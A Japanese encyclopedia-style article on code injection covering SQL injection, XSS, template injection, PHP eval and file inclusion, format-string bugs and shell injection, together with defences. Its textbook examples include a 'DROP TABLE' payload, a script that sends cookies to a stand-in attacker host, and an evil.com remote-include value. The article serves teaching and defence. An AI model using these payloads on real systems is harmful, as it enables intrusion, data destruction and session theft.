コードインジェクションとは、プログラムがユーザー入力などの外部データを正しく処理できず、そのデータを実行可能なコマンドとして解釈してしまうコンピュータセキュリティ上の脆弱性です。この手法を用いる攻撃者は、プログラムの実行中にコードを「注入」します。コードインジェクションの脆弱性が悪用されると、データ漏洩、制限されたシステムや重要なコンピュータシステムへのアクセス、マルウェアの拡散などにつながる可能性があります。
コードインジェクションの脆弱性は、アプリケーションが信頼できないデータをインタープリタに送信し、インタープリタが挿入されたテキストをコードとして実行するときに発生します。インジェクションの欠陥は、構造化クエリ言語 ( SQL ) データベース、拡張マークアップ言語 ( XML ) パーサー、オペレーティングシステムのコマンド、シンプルメール転送プロトコル ( SMTP ) ヘッダー、その他のプログラム引数などのサービスでよく見られます。インジェクションの欠陥は、ソースコードの調査[ 1 ]静的解析、またはファジングなどの動的テスト方法[ 2 ]によって特定できます。
コードインジェクションの脆弱性には数多くの種類がありますが、そのほとんどは解釈エラーです。つまり、良性のユーザー入力をコードとして扱ったり、入力とシステムコマンドを区別できなかったりします。解釈エラーの例は、コンピュータサイエンス以外にも数多く存在し、例えばコメディ番組「Who's on First?」などが挙げられます。コードインジェクションは、以下のような多くの目的で悪用される可能性があります。
IoTを標的としたコードインジェクションは、データ漏洩やサービスの中断など、深刻な結果を招く可能性もある。 [ 3 ]
コードインジェクションは、インタプリタで実行されるあらゆる種類のプログラムで発生する可能性があります。これはほとんどの人にとって容易なことであり、サーバーソフトウェアがユーザーから遠ざけられている主な理由の1つです。インジェクターがコードインジェクションを直接確認する方法の1つは、ブラウザの開発者ツールを使用することです。
コードインジェクションの脆弱性は、米国国立標準技術研究所(NIST )によって国家脆弱性データベース( NVD )にCWE-94として記録されています。コードインジェクションは、記録されたすべての脆弱性の割合として2008年に5.66%でピークに達しました。[ 4 ]
コードインジェクションは善意で行われる場合もある。例えば、コードインジェクションによってプログラムやシステムの動作を変更または微調整すると、悪意なくシステムが特定の動作をするようになることがある。[ 5 ] [ 6 ]コードインジェクションは、例えば次のようなことを引き起こす可能性がある。
ユーザーがプログラムに入力した内容が、システム開発者によって想定されていなかったため、意図せずコードインジェクションを実行してしまう場合があります。例えば、次のようなケースです。
コードインジェクションのもう一つの良性な用途は、インジェクションの欠陥を発見して脆弱性を修正することです。これは侵入テストとして知られています。
コードインジェクションの問題を防ぐために、その人は次のような安全な入出力処理戦略を用いることができる。
htmlspecialchars()HTMLでテキストを安全に出力するために特殊文字をエスケープする関数や、SQLmysqli::real_escape_string()リクエストに含めるデータを分離する関数を使用することで、SQLインジェクション攻撃から保護できます。HttpOnlyのフラグを使用します。このフラグが設定されている場合、クライアント側のスクリプトがクッキーとやり取りすることができなくなり、特定のXSS攻撃を防ぐことができます。[ 10 ]上記で説明した対策は、主にWebベースのHTMLコードやスクリプトコードのサーバー側アプリケーションへの挿入に対処するものです。しかし、ユーザーが操作するマシンへのユーザーコードの挿入に対処する場合は、別の方法を取る必要があります。これは多くの場合、権限昇格攻撃につながります。マネージドコードとアンマネージドコードの挿入を検出および隔離するために使用される方法には、次のようなものがあります。
SQLインジェクション攻撃は、 SQL構文を利用して悪意のあるコマンドを挿入し、データベースを読み取ったり変更したり、元のクエリの意味を損なったりします。[ 13 ]
例えば、ユーザーがウェブサイトにログインするためにユーザー名とパスワードを入力できる2つのテキストフィールドを持つウェブページを考えてみましょう。(架空の)ウェブサーバーコードは、ユーザー名とパスワードのパラメータを受け取り、そのユーザー名が存在するか、パスワードがそのユーザーに対して正しいかを確認するSQLクエリを生成します。クエリが何らかの行を返した場合、アクセスが許可されます。
例えば、ユーザー名aliceとパスワードが与えられるとhunter2、サーバーは次のクエリを生成して実行します。
SELECT UserList.Username FROM UserList WHERE UserList.Username = ' alice ' AND UserList.Password = ' hunter2 'しかし、攻撃者がhunter2' OR '1'='1パスワードフィールドに代わりに入力した場合、サーバーは次のクエリを生成して実行します。
SELECT UserList.Username FROM UserList WHERE UserList.Username = ' alice' AND UserList.Password = 'hunter2 ' OR ' 1 ' = ' 1 'hunter2が正しいパスワードであるかどうかは別として、この式'1'='1'は常に真であり、データベースはテーブル内のすべての行を返すためUserList、攻撃者は正しいパスワードを知らなくてもログインできてしまう。
この手法は、攻撃者が複数のステートメントを実行できるように拡張される可能性があります。たとえば、攻撃者がパスワードを入力した場合hunter2'; DROP TABLE UserList; --、結果として得られるクエリは次のようになります。
SELECT UserList.Username FROM UserList WHERE UserList.Username = ' alice ' AND UserList.Password = ' hunter2 ' ; DROP TABLE UserList ; -- '記号は1つのステートメントの終了を示すため;、新しいステートメント(この場合は)を開始できますDROP TABLE。記号は--コメントの開始を示すため、'サーバーがクエリ構文を生成する際に追加する末尾の文字を無効化します。これらの2つのステートメントの結果、行は返されず(ユーザー名Usernameのパスワードが空白の場合を除く)、UserListテーブル全体が削除されます。
SQLを拡張してクエリから外部プログラムを呼び出すことを可能にするデータベースエンジンの場合、攻撃者はその機能も取得できる可能性がある。
コードインジェクションとは、悪意のあるコードをアプリケーションに挿入または導入することです。一部のWebサーバーにはゲストブックスクリプトがあり、ユーザーからの短いメッセージを受け付け、通常は次のようなメッセージを受け取ります。
とても素敵なサイトですね!しかし、悪意のある人物はゲストブックのコードインジェクションの脆弱性を知っていて、次のようなメッセージを入力する可能性があります。
いいサイトですね、使わせていただきます。<script> window.location = "https : //some_attacker/evilcgi/cookie.cgi ? steal = " + escape ( document.cookie ) </script>別のユーザーがページを閲覧すると、挿入されたコードが実行されます。このコードによって、攻撃者は他のユーザーになりすますことが可能になります。しかし、この同じソフトウェアの脆弱性は、何気ないユーザーによって誤って引き起こされる可能性もあり、その場合、ウェブサイトに不正なHTMLコードが表示されます。
HTMLとスクリプトの挿入はよく取り上げられるテーマで、一般的に「クロスサイトスクリプティング」または「XSS」と呼ばれています。XSSとは、ユーザーがWebスクリプトなどに入力した内容が、HTMLコードやスクリプトとしてチェックされることなく、出力されるHTMLに挿入されるというインジェクションの脆弱性を指します。
これらの問題の多くは、入力データとして可能なものや特殊データの影響に関する誤った仮定に関連している。[ 14 ]
テンプレート エンジンは、現代のWeb アプリケーションで動的なデータを表示するためによく使用されます。しかし、検証されていないユーザー データを信頼すると、サーバー サイド テンプレート インジェクションなどの重大な脆弱性[ 15 ]につながることがよくあります。この脆弱性はクロス サイト スクリプティングに似ていますが、テンプレート インジェクションは、訪問者のブラウザではなく Web サーバー上でコードを実行するために悪用される可能性があります。これは、Web アプリケーションの一般的なワークフローを悪用するもので、Web アプリケーションのワークフローでは、Web ページをレンダリングするためにユーザー入力とテンプレートがよく使用されます。以下の例は、その概念を示しています。ここでは、{{visitor_name}}レンダリング プロセス中にテンプレートがデータに置き換えられます。
こんにちは {{visitor_name}} 攻撃者は、悪意のあるコードを提供することで、このワークフローを利用してレンダリングパイプラインにコードを注入することができますvisitor_name。Webアプリケーションの実装によっては、{{7*'7'}}レンダラーが解決する可能性のあるコードを挿入することもできます。実際のWebサーバーは悪意のあるコードを評価しているため、リモートコード実行Hello 7777777に対して脆弱になる可能性があることに注意してください。
インジェクション脆弱性は、攻撃者が関数呼び出しに渡される入力文字列の全部または一部を制御できる場合に発生します。[ 16 ]eval()eval()
$myvar = 'somevalue' ; $x = $_GET [ 'arg' ]; eval ( '$myvar = ' . $x . ';' );引数「 」はPHPevalとして処理されるため、追加のコマンドを追加できます。たとえば、「arg」が「」に設定されている場合、サーバー上でプログラムを実行する追加のコードが実行されます。この場合は「」です。10;system('/bin/echo uh-oh')/bin/echo
PHP ではオブジェクト全体のシリアライズとデシリアライズが可能です。デシリアライズ関数に信頼できない入力が許可されると、プログラム内の既存のクラスを上書きして悪意のある攻撃を実行できます。[ 17 ] Joomlaに対するこのような攻撃は2013 年に発見されました。[ 18 ]
次のPHPプログラム(リクエストで指定されたファイルを含む)を考えてみましょう。
<?php $color = 'blue' ; if ( isset ( $_GET [ 'color' ])) $color = $_GET [ 'color' ]; require ( $color . '.php' );この例では色が指定されることを想定していますが、攻撃者はCOLOR=http://evil.com/exploitPHPにリモートファイルを読み込ませるような色を指定する可能性があります。
書式文字列のバグは、プログラマがユーザーから提供されたデータを含む文字列を出力したい場合に最もよく発生します。プログラマは、printf(buffer)の代わりにと誤って記述することがありますprintf("%s", buffer)。最初のバージョンは をbuffer書式文字列として解釈し、含まれている書式設定命令を解析します。2番目のバージョンは、プログラマの意図どおり、単に文字列を画面に出力します。ローカル変数 char配列にパスワードが格納されている次の短いCプログラムを考えてみましょう。このプログラムは、ユーザーに整数と文字列を尋ね、ユーザーが提供した文字列を出力します。password
char user_input [ 100 ]; int int_in ; char password [ 10 ] = "Password1" ;printf ( "整数を入力してください\n " ); scanf ( "%d" , & int_in ); printf ( "文字列を入力してください\n " ); fgets ( user_input , sizeof ( user_input ), stdin );printf ( user_input ); // 安全なバージョンは次のとおりです: printf("%s", user_input); printf ( " \n " );0を返す;ユーザー入力が、などの書式指定子のリストで構成されている場合、%s%s%s%s%s%s%s%sはスタックprintf()から読み取りを開始します。最終的に、いずれかの書式指定子がスタック上ののアドレスにアクセスし、画面に出力します。%spasswordPassword1
シェルインジェクション(またはコマンドインジェクション[ 19 ])はUNIXシェルにちなんで名付けられていますが、ソフトウェアがプログラム的にコマンドラインを実行できるほとんどのシステムに適用されます。以下は、脆弱性のあるtcshスクリプトの例です。
#!/bin/tcsh # 引数のチェック# 引数が 1 の場合は "it matches" と出力しますif ( $1 == 1 ) echo it matches 上記が実行可能ファイルに格納されている場合./check、シェルコマンドは、最初の引数を定数値 1 と比較する代わりに./check " 1 ) evil"、(仮想の)シェルコマンドを実行しようとします。evilここで攻撃を受けているコードは、パラメータをチェックしようとしているコードであり、攻撃から防御するためにパラメータを検証しようとしていた可能性のあるコードそのものです。[ 20 ]
シェルコマンドを構成して実行するために使用できる関数はすべて、シェルインジェクション攻撃を実行するための潜在的な手段となります。これらにはsystem()、、、、StartProcess()およびが含まれますSystem.Diagnostics.Process.Start()。
WebブラウザとWebサーバー間のやり取りなど、クライアント/サーバーfunnytextシステムは、シェルインジェクションに対して脆弱である可能性があります。Webサーバー上で実行され、ユーザーが送信した単語を別の単語に置き換える外部プログラムを実行する、以下の短いPHPプログラムを考えてみましょう。
<?php passthru ( "/bin/funnytext " . $_GET [ 'USER_INPUT' ]);上記のプログラムの関数passthruは、Webサーバーによって実行されるシェルコマンドを構成します。構成されるコマンドの一部はWebブラウザによって提供されるURLから取得されるため、 URLに悪意のあるシェルコマンドを挿入することが可能になります。さまざまなシェル機能の構文を悪用することで、このプログラムにコードを挿入する方法がいくつかあります(このリストは網羅的ではありません)。[ 21 ]
一部のプログラミング言語では、シェルコマンドの構築に使用される文字列を適切にエスケープまたは引用符で囲むための関数が提供されています。
しかしながら、これは依然としてプログラマーにこれらの関数について理解し、シェルコマンドを使用するたびにそれらを利用することを忘れないようにする負担を課すことになります。これらの関数を使用することに加えて、ユーザー入力の検証またはサニタイズも推奨されます。
より安全な方法は、シェルで外部プログラムを呼び出すのではなく、目的の機能をプログラミング言語で直接実装するAPIを使用することです。これにより、シェルインジェクションの可能性を防ぐことができます。例えば、シェルコマンドを呼び出してGitの機能を実装するのではなく、 libgit2git ...のようなGit APIを使用する方が良いでしょう。
コードインジェクションの善意の使用は、ユーザーがシステム要件を満たすためにプログラムの動作を変更する場合に発生します。
{{cite web}}: CS1メンテナンス: アーカイブサービスは非推奨になりました (リンク)